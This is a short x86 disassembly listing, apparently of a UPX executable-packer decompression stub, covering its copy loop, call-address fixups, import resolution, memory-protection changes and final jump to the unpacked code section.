cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45d0f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45d0e6
jmp 0x45d036
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45d0f4
add edi, ecx
jmp 0x45d036
pop esi
mov edi, esi
mov ecx, 0x1051
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x45d112
cmp byte [edi], 6
jne 0x45d112
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x45d117
lea edi, [esi + 0x5b000]
mov eax, dword [edi]
or eax, eax
je 0x45d18f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5d000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5d0bc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45d144
mov ecx, edi
jns 0x45d173
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5d0c4]
or eax, eax
je 0x45d189
mov dword [ebx], eax
add ebx, 4
jmp 0x45d161
call dword [esi + 0x5d0c0]
mov ebp, dword [esi + 0x5d0c8]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45d1c3
sub esp, 0xffffff80
jmp section.UPX0